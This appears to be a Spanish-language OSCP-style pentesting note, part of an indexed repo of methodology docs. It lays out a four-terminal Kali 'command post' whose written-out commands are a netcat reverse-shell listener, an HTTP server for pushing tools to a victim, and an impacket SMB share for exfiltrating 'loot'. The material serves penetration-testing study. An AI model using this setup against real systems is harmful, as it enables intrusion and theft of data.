7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
860 B
860 B
Puesto de mando Kali
No tienes una GUI central. Cada herramienta es independiente y habla por red con la víctima. Tu Kali = un puesto de mando con varios terminales abiertos a la vez.
Los 4 terminales
Terminal 1 — listener de shells
stty raw -echo; (stty size; cat) | nc -lvnp 4444
Terminal 2 — HTTP para servir tus tools a la víctima
cd tu carpeta
python3 -m http.server 80
Terminal 3 — SMB para que la víctima TE envíe ficheros
mkdir /tmp/loot && cd /tmp/loot
impacket-smbserver loot . -smb2support
Terminal 4 — tu shell de trabajo (nxc, impacket, etc.)
$
- Terminal 1 recibe la Reverse shell (estabilízala → Estabilizar shell TTY).
- Terminales 2 y 3 = Transferencia de ficheros (subir tools / exfiltrar loot).
- Terminal 4 = lanzas Impacket, BloodHound, etc.
Relacionado: Egress filtering · OSCP MOC